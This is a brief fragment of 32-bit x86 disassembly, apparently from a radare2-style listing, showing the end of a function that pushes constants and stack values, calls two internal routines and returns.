mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
push dword [ebp - 0x2c]
push 0x2555
push 1
push dword [ebp - 0x30]
push 0x4c74
push 1
push 0x3bff
push 1
push 0x3abd
push dword [ebp - 0x34]
push 0x784c
push 0
push 0x5183
call fcn.0040c141
add esp, 0x34
jmp 0x41cfc6
push 0x7c18
push 0
push 0x3bf6
call fcn.004216c1
add esp, 0xc
mov esp, ebp
pop ebp
ret